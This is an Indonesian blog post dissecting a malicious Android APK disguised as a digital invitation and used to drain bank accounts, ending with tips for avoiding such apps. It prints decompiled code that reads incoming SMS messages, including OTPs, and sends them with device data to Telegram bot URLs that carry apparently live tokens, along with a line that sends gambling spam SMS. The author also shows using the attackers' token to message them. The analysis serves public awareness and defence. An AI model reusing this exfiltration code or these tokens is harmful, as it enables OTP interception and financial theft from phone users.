Membedah Kode .apk pada Pembobolan Rekening Bank
Beberapa tahun belakangan ini seiring pertumbuhan bisnis yang beralih ke digital, maka ada ancaman pada dunia digital beralih secara masif ke area mobile application. Saat ini pengguna mobile application yang terbanyak berada di android. Literasi yang rendah mengenai keamaan digital dan kemudahan untuk install aplikasi yang diperoleh dari sumber selain app store memungkinkan ancaman tersebut muncul.
Salah satunya yaitu mengirimkan sebuah link/dokumen/file yang berisi ajakan untuk install aplikasi *.apk yang ujung-ujungnya akan meminta beragam ijin aneh-aneh pada ponsel seperti
- ijin untuk membaca isi SMS
- terkadang melakukan keylogger
- melakukan screenshoot
- pelacakan lokasi
- dan bahkan ijin file/storage
- membaca IMEI ponsel dan kartu
- lebih ngerinya lagi membaca cookies dari browser itu lho buat nyimpen data alamat website, username, dan password agar kalian nggak capek-capek mengisi kembali data username dan password.
- atau akses kamera/mikrofon (pada beberapa ponsel dilengkapi indikator jikalau kamera aktif)
Keamanan 2 Factor menjadi sangat lemah yang diterapkan kepada konsumen mengingat kecerobohan konsumen itu sendiri yang secara sembrono install aplikasi dari luar play store.
Postingan kali akan membahas beberapa hal yaitu
- cara kerja Undangan Digital.apk untuk mendapatkan data
- membongkar source code nya dan mendapatkan data apa saja yang dikirim dan kemana arah itu (alamatnya)
- tips untuk menghindari data yang bocor
Mungkin ada beberapa istilah teknis bagi pembaca, tapi kami mencoba untuk menjelaskan secara awam saja agar menjadi pembelajaran kita semua untuk lebih berhati-hati mengingat hampir semua orang saat ini menggunakan ponsel sebagai layanan untuk bertransaksi. Membedah Kode .apk pada Pembobolan Rekening Bank pada kasus ini menggunakan file apk yang kami peroleh di Forum yaitu Undangan Digital.apk
Undangan Digital.apk
Contents
Yup tren beberapa tahun belakangan ini maraknya undangan digital.apk yang dikirim oleh seseorang apalagi banyaknya kebocoran data seperti dukcapil, bank BSI, KPU akan menambah deretan panjang bobolnya data konsumen. Sebagai contoh pada kasus kehilangan uang di rekening setelah install aplikasi tertentu yang ada berita nasional. Mengingat kelengahan tersebut berada pada pihak konsumen bukan pada layanan BANK menimbulkan kerugian finansial yang tidak/atau mungkin bisa ditanggung oleh pihak BANK.
Undangan Digital.apk yang saya peroleh di forum ukurannya cukup kecil besar, ya karena pihak pengembangnya tidak melakukan teknik obfuscator dan kompress file binary nya dengan baik dan masih banyak sekali comment2 berbahasa indonesia yang menandakan bahwa pihak pengembangnya adalah orang indo**sia juga.
Cara Kerja Undangan Digital.apk
Sebenarnya cara kerja hacker untuk menyedot dan mengirimkan message/data user sangat mudah yaitu memanfaatkan layanan cloud untuk menyimpan data, contoh layanan gratis seperti BOT TELEGRAM.
Jadi ketika aplikasi sudah masuk kedalam ponsel user dan mendapatkan ijin nya, maka dalam hitungan detik akan melakukan upload/send message ke API BOT TELEGRAM biasanya ini dipilih sebagai gerak cepat ketika ada OTP yang masuk.
Reverse Enginer/Bongkar Source Code
Reverse Engineering adalah kegiatan untuk mengubah kode biner menjadi source code yang dapat dibaca kembali. APK yang berupa bundle file bisa kita ubah menjadi *.jar dan dilihat file *.class. Kami tampilan potongan kode yang telah dibongkar yaitu
Format *.class merupakan file biner dari *.java yang telah dicompile, oleh sebab itu mengubah *.class ke *.java menjadikan file tersebut dapat dibaca oleh programmer. Setiap *.apk akan menjalankan MainActivity.class pada saat setelah proses instalasi selesai. Berikut source code MainActivity.class. Disitu sangat jelas terdapat Ijin Membaca dan Mengirimkan SMS
if (Build.VERSION.SDK_INT >= 23 && checkSelfPermission("android.permission.RECEIVE_SMS") != 0 && checkSelfPermission("android.permission.SEND_SMS") != 0) requestPermissions(new String[] { "android.permission.RECEIVE_SMS", "android.permission.SEND_SMS" }, 1000);
Dalam potongan kode terdapat alamat API BOT telegram yang digunakan dieksekusi oleh instace Object dari class Request (library/package bernama import okhttp3.Request). Begitu kita install akan ada message yang dikirimkan ke BOT Telegram dengan alamat berikut
Request request = (new Request.Builder()).url("https://api.telegram.org/bot6172093564:AAH1owjHG-c4m_NRYmI53zgR0no2rHO-zXQ/sendMessage?parse_mode=markdown&chat_id=5988783988&text=\n _" + this.device).build();
Berisikan type this.device(), ya wajar saja hal ini sebagai langkah pintar pengembang untuk membedakan message yang masuk dari ribuan ponsel yang terinfeksi.
Pengembang juga sengaja mengirimkan SMS yang berisikan Judi Online dari no ponsel 082111110211
SmsManager.getDefault().sendTextMessage("082111110211", null, " B0c0r4n Sl0t M4XW1N DEP0S1T 50 MAXS 1 Jetyy Pilihan Semua Member V1P vs+66989438422", null, null);
Nah yang ini agak riskan yaitu membaca Pengirim SMS dan Mengirimkan isi SMS tersebut ke BOT TELEGRAM
Request request = (new Request.Builder()).url("https://api.telegram.org/bot6063607955:AHM9b-Y34F8-yoAqnMPIYI6P7qxmj0649k/sendMessage?parse_mode=markdown&chat_id=619100847&text=*" + str1 + "* %0A%0A*From :* _" + str2 + "_%0A*Message :* _" + str3 + "_").build();
Aplikasi yang jahat
Yup berjalan sebagai service Undangan Digital.apk akan membaca semua notifikasi dan mengirimkan beragam data user tanpa ampun ke BOT Telegram. Hal ini dikerjakan oleh ReciveSMS.class yaitu ketika ada notifikasi SMS masuk paramIntent.getAction().equals("android.provider.Telephony.SMS_RECEIVED")
Dengan membaca PENGIRIM dan isi SMS nya terlebih dahulu
String str1 = arrayOfSmsMessage[b].getOriginatingAddress(); String str2 = arrayOfSmsMessage[b].getMessageBody().replace("&", " ").replace("#", " ");
Kemudian bersama-sama mengirimkan data lengkap user seperti
- Build.ID
- Build.USER
- Build.PRODUCT
- Build.BRAND
- Build.BOARD
- Build.BOOTLOADER
- Build.DISPLAY
- Build.HOST
- Build.DEVICE
- Build.TAGS
- Build.FINGERPRINT
- Build.TYPE
- Build.TIME
Berikut BOT Telegram nya
StringBuilder stringBuilder1 = stringBuilder3.append("https://api.telegram.org/bot6172093564:AAH1owjHG-c4m_NRYmI53zgR0no2rHO-zXQ/sendMessage?parse_mode=markdown&chat_id=5988783988&text=%0A %0A: _").append(str1).append("_,%0A: _\n\n").append(str2).append("%0A %0A: ");
Kirim Pesan Buat Pengembang yang Berhati Jahat
Kirim pesan buat pengembang yang berhati jahat sebenarnya gampang sekali, berikut kami kasih pesan ke mereka agar tidak aneh-aneh. Berikut pesan yang kami kirim kepada pengembang tersebut. Disitu tertera jelas sang pemilik dengan username: Boapknew_bot
https://api.telegram.org/bot6172093564:AAH1owjHG-c4m_NRYmI53zgR0no2rHO-zXQ/sendMessage?parse_mode=markdown&chat_id=5988783988&text=kamu%20bangsat%20sekali
Cara Antipisasi
Setelah membaca mengenai cara kerja dan data-data serta alamat API bot telegram dari Undangan Digital.apk, berikut beberapa tips untuk menghindari nya
- Jangan pernah melakukan instal aplikasi dari luar selain play store
- Selalu cek ijin yang diminta oleh aplikasi ketika melakukan instalasi
- Bila kalian sering menggunakan layanan perbankan maka pertimbangkan untuk menggunakan layanan internet banking yang dilengkapi dengan token. Token yang bersifat offline akan sangat sulit ditembus oleh hacker.
Berikut cara kami melakukan teknik reverse engineering
Melakukan teknik ini membutuhkan sedikit pengetahuan cara kerja JRE yaitu java runtime environment. Untuk itu kalian bisa login / register untuk akses cara kerja nya pada artikel dibawah ini yang akan tampil ketika kalian sudah login/register